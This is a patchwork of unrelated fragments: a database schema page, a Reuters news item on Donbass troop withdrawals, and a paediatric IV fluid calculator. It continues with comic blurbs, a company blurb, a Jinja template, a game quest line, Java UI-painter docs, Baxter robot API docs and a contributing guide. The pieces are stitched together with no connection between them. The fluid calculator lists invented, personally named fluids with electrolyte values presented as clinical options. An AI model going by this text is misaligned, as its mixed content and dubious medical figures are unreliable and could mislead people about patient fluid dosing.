It is a .txt file. Save it as a .py and you can use it for a template
cgi.Test() with GET
cgi.Test() with POST


| Created: | 6/27/2020 7:02:28 AM |
| Modified: | 6/27/2020 7:02:28 AM |
| Project: | |
| Advanced: |
| Attribute |
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Public serial id |
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Details:
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Public integer alt_account_id |
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Details:
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Public varchar(255) number |
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Details:
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Public varchar(255) description |
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Details:
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Public integer account_id |
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Details:
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Public varchar(255) created_by |
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Details:
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Public varchar(255) updated_by |
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Details:
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Public timestamp with time zone(0) created_at |
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Details:
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Public timestamp with time zone(0) updated_at |
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Details:
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Public timestamp with time zone(0) start_date |
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Details:
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| Operation | ||
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Public alt_account_versions_pkey( id: serial, |
||
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Details:
<<PK>>
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Public alt_account_versions_alt_account_id_foreign( alt_account_id: integer, |
||
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Details:
<<FK>>
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| Element | Source Role | Target Role |
|
«table» alt_accounts Table «FK» |
Name: alt_account_versions_alt_account_id_foreign |
Name: alt_accounts_pkey |
|
Details:
|
| Tag | Value |
| Owner | public |
|
Details:
|
| Property | Value |
| isFinalSpecialization: | 0 |


Troop withdrawals in eastern Ukraine to start on Saturday: OSCE
KIEV (Reuters) - Troop withdrawals in a village in the Donbass region of eastern Ukraine will begin on Saturday at 1000 GMT, the Organization for Security and Co-operation in Europe (OSCE) said in a statement.
Ukraine and Russian-backed separatist rebels have agreed to phased troop withdrawals as a confidence building measure that could pave the way for a four-way summit between Ukraine, Russia, France and Germany on the Donbass conflict.
The Kiev government has said that the third such withdrawal, in the village of Petrivske that is due to take place on Saturday, would mean that Ukraine has fulfilled all necessary conditions from its side for such a summit to take place.


To calculate fluids for kids.
Infusion rate is ? mL/hr
| H2O (mL) | Na+ (mmol/L) | K+ (mmol/L) | |
|---|---|---|---|
| Maintenance |
? mL
100/50/20 rule |
? mmol
3mmol/kg/day |
? mmol
2mmol/kg/day |
| Deficit |
? mL
BW x %dehydration x 10 |
? mmol
84mmol/L deficit |
? mmol
60mmol/L deficit |
| NS Bolus Given |
? mL
(usually 10-20mL/kg) |
? mmol | |
| Total | ? mL | ? mmoL | ? mmoL |
My Fluids:
| Fluid | Dextrose (g/L) | Na+ (mmol/L) | K+ (mmol/L) | Use |
|---|---|---|---|---|
| William's Fluid | 60 | 50 | 20 | Maintanence |
| Chung Wai Solution | 70 | 20 | 10 | Resuscitation |
| PYNEH liquid | 10 | 10 | 40 | Supplement |
By CW Wong William (MBBS), Paed resident in PYNEH, HK


LORY Z #1
Lo que vemos está hecho de los que no vemos. En un futuro próximo los que abrazaron la palabra del verdadero Rey sobreviven al Postapocalipsis Zombie en la nueva y próspera Sandropolis. Pincha en la imagen para conseguir el primer capítulo.
IT HAPPENED IN WHITECHAPEL
Written and drawn by Adrian Fernandez Chamizo. Cover illustration by Eden Herrera. All characters were created by Adrian Fernandez Chamizo except Mister Be Nice which is based on a real person. This is an independent publication of Disappointment Comics, who gives freely distributing the work. It can be downloaded free from this website which is available in English, Asturian, and Spanish. 2012 Mile End, London. UK
UMBRA SUMUS
It’s a short story, a 24-page comic book, is about a man’s relationship with the occult. Language: Spanish
THE LIMEHOUSE KILLER
It is best to tread carefully through the ports of East End at night, you never know who you can find.


ABOUT US
When you work with us, you are part of a team of committed collaborators. All Aspects of our software development are integrated, interactive and agile.
Our approach unites design, development and product management to create exceptional products. We start each projec by understanding your business goals, the user's needs and the product requirements. Then we help translate them into effective and elegant solutions.


Multiple Choices
Use tab to change focus on list, enter to select.
Or, start typing to change the filter.


{# components.html is used for Store Components #} {# edit / delete / add buttons are available, just uncomment them #} {%- extends "base/base.html" %} {% import "base/macros.html" as macros %} {% from "base/macros.html" import flash_alert %} {% set active_page = 'stores' -%} {% block title %}Stores Components{%- endblock title %} {% block content %}
{%- endblock %}


Fishing Guild Member:
In the Sea of Spores, if you hunt
Giant Fungi, Dire Wyrms, Rotting Golems, Trisalim Spiders, or Spore Zombies
, you can get the sweet aromatic fluid the water spirits love.
Back


The base class for Substance border painters is
org.pushingpixels.substance.api.painter.border.SubstanceBorderPainter
.
Border painter is used to paint the outer contour of most UI components,
such as buttons, check boxes, radio buttons, progress bars, tabs,
scroll bars and others. This allows providing a consistent and pluggable
appearance to those components. In addition, it provides an external API
for applications that wish to skin custom components in a visually
consistent manner.
The
org.pushingpixels.substance.api.painter.border.SubstanceBorderPainter
interface defines the following painting method:
/**
* Paints the control border.
*
* @param g
* Graphics.
* @param c
* Component.
* @param width
* Width of a UI component.
* @param height
* Height of a UI component.
* @param contour
* Contour of a UI component.
* @param innerContour
* Inner contour of a UI component. May be ignored if the
* specific implementation paints only the outside border.
* @param borderScheme
* The border color scheme.
*/
public void paintBorder(Graphics g, Component c, int width, int height,
Shape contour, Shape innerContour, SubstanceColorScheme borderScheme);
The contour
and
innerContour
parameters specify
the outer and inner contour shapes to paint, while the
borderScheme
specifies the Substance
color schemes to be used to compute the border colors. The internal implementation of
a specific border painter may decide to ignore the
innerContour
if this are not
relevant.
For optimization purposes, the SubstanceBorderPainter
defines the following method that must be implemented by the specific border painter:
/**
* Returns boolean indication whether this border painter is painting the
* inner contours.
*
* @return true if this border painter is painting the inner
* contours, false otherwise.
*/
public boolean isPaintingInnerContour();
Note that if this method returns false
, the implementation of the
paintBorder()
must ignore the
innerContour
parameter.
Applications that wish to provide a custom (branding) border painter
may utilize the existing StandardBorderPainter
base class. The subclass can override any one of the three base methods that compute border
colors at different vertical locations (see
get*BorderColor
methods).
Most core Substance border painters extend this class. In addition,
the DelegateBorderPainter
and CompositeBorderPainter
classes can be used to combine existing border painters and tweak the
colors selected for the painting.
If you wish to use the border painter of the current skin to provide additional custom painting in your application, call:
SubstanceLookAndFeel.getCurrentSkin()
to retrieve the current skin.SubstanceSkin.getBorderPainter()
to retrieve the border painter of the current skin.SubstanceBorderPainter.paintBorder()
to paint the border on the specific graphics context.


Closes a specific camera
| Parameters: | camera_name (str) – The name of the camera to be closed |
|---|
Return a list of all available cameras
| Returns: | Available camera names |
|---|---|
| Return type: | list(str) |
Class to enable and disable the self-collision avoidance. Useful when the robot has to pass objects from one hand to the other
Handles the image publishing to the display of baxter
Records and plays manually learned trajectories. While two trajectories can be played simultaneously, the recording has to take place consecutively
Cleans a single line of recorded joint positions
| Parameters: |
|
|---|
Records the current joint positions of the given side to a csv file if the cuff button is pressed
This function will overwrite existing files.
| Parameters: |
|---|
Sets an execution or gets the current execution state of the “stop” param is None
| Parameters: | |
|---|---|
| Returns: | State of execution |
| Return type: | bool |
Bases: object
Load both arms
| Returns: | interface to the arms/limbs |
|---|---|
| Return type: | SimpleLimb or MoveItLimb |
Initializes the MoveIt scene
| Returns: | interface to the moveit scene |
|---|---|
| Return type: | BaxterScene |
Loads Baxter’s custom behaviors
| Returns: | interface to the behaviors |
|---|---|
| Return type: | BaxterBehaviors |
Prepares the cameras
| Returns: | interface to the cameras |
|---|---|
| Return type: | BaxterCamera |
Loads the self-collision avoidance interface
| Returns: | interface to the self-collision avoidance |
|---|---|
| Return type: | BaxterCollisionAvoidance |
Prepares the tf broadcaster and listener
| Returns: | interface to the transformations |
|---|---|
| Return type: | BaxterFrame |
Loads both grippers
| Parameters: | force_reload (bool) – Recalibrate grippers? |
|---|---|
| Returns: | interface to the grippers |
| Return type: | Gripper |
Loads the high level movement controller
| Returns: | interface to high level motions |
|---|---|
| Return type: | HighLevelMovement |
Publishes the transformation from the kinect rgb camera to the marker that is mounted on baxter
Loads the menu image composer
| Returns: | interface to draw and select the menu entries |
|---|---|
| Return type: | BaxterMenuComposer |
Loads Baxter’s menu manager
| Returns: | interface to the menu |
|---|---|
| Return type: | BaxterMenuManager |
Loads the navigators
| Returns: | interface to the navigators |
|---|---|
| Return type: | Navigator |
Loads Baxter’s range sensors
| Returns: | interface to the range sensors |
|---|---|
| Return type: | BaxterRangeSensor |
Prepares the recorder
| Returns: | interface to the recorder |
|---|---|
| Return type: | BaxterRecorder |
Loads Baxter’s sonar control and disables the sonars
| Returns: | interface to the sonar sensors |
|---|---|
| Return type: | BaxterSonar |
Loads the text display
| Parameters: | autostdout (bool) – Should the text display linked to the standard prints? |
|---|---|
| Returns: | interface to the text display |
| Return type: | BaxterTextDisplayer |
Loads the automatic URDF creator
| Returns: | interface to the automatic urdf creator |
|---|---|
| Return type: | BaxterURDFCreator |
Return the name of the other arm
| Parameters: | side (str) – One name of an arm |
|---|---|
| Returns: | Name of the other arm |
| Return type: | str |
Converts a geometry.msgs.Point to a list
| Parameters: | pos (geometry.msgs.Point) – Point to convert |
|---|---|
| Returns: | list containing a Point |
| Return type: | list |
Emulates a terminal style output window to write text information to baxter’s display
Starts a loop that automatically updates the screen (Qttention: This function is blocking. Should be called with post)
| Parameters: | period (float) – The time between the updates of the screen |
|---|
Removes all text from the terminal
| Parameters: | refresh (bool) – If the output should be directly updated |
|---|
Bases: baxter_interface.digital_io.DigitalIO
Extends DigitalIO with waitForPressed and blinking leds on button presses
Bases: gripper.Gripper
Extends baxter gripper interface with: grip and release commands, replaces open/close set a specific position, custom calibration, check if object has been gripped
Closes the gripper if outside grip and opens it otherwise
:param blocking :If True, the method waits until the gripper finished the grip :type blocking: bool
Checks if an object has been gripped
:return True is object is gripped :rtype: bool
Blinks a led for a specific time and frequency (blocking)
| Parameters: |
|---|
Blinks with all white leds for a specific time and frequency (blocking)
| Parameters: |
|---|
Bases: baxter_interface.navigator.Navigator
Extends Navigator with waitForPressed and pressed callbacks Navigator
Activates a led to blink for some time
Invokes a callback on a press on the arrow button. This is a non-blocking function
| Parameters: | callback (any) – function to be called |
|---|
Invokes a callback on a press on the wheel button. This is a non-blocking function
| Parameters: | callback (any) – function to be called |
|---|
Invokes a callback on a press on the home button. This is a non-blocking function
| Parameters: | callback (any) – function to be called |
|---|
Invokes a callback on a rotation of the wheel button. This is a non-blocking function
| Parameters: | callback (any) – function to be called |
|---|
Waits until the arrow button has been pressed
Waits until the wheel button has been pressed
Waits until the home button has been pressed


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Contributing¶
First off, thanks for taking the time to contribute!
What should I know before I get started?¶
This project is there to predict potential proteins using TAG codons as PYL amino-acid instead as STOP codon.
The project is developed on GitHub at https://github.com/bebatut/PylProtPredictor.
How can I contribute?¶
Reporting mistakes or errors¶
The easiest way to start contributing is to file an issue to tell us about a spelling mistake or a factual error.
Your first content contribution¶
Once you are feeling more comfortable, you can propose changes via Pull Request.
Indeed, to manage changes, we use GitHub flow based on Pull Requests:
- Create a fork of this repository on GitHub
- Clone your fork of this repository to create a local copy on your computer
- Create a new branch in your local copy for each significant change
- Commit the changes in that branch
- Push that branch to your fork on GitHub
- Submit a pull request from that branch to the master repository
- If you receive feedback, make changes in your local clone and push them to your branch on GitHub: the pull request will update automatically
For beginners, the GitHub interface will help you in the process of editing a file. It will automatically create a fork of this repository where you can safely work and then submit the changes as a pull request without having to touch the command line.
Tests¶
The code of PylProtPredictor is covered by unit tests. They are run automatically on CircleCI. You can activate CircleCI on your fork to run also the tests automatically.
We also recommend to run them locally before pushing to GitHub with:
$ make test
Documentation¶
Documentation about ENASearch is available online at http://bebatut.fr/PylProtPredictor
To update it:
- Make the changes in src/docs
- Generate the doc with
$ make doc
- Check it by opening the docs/index.html file in a web browser
- Propose the changes via a Pull Request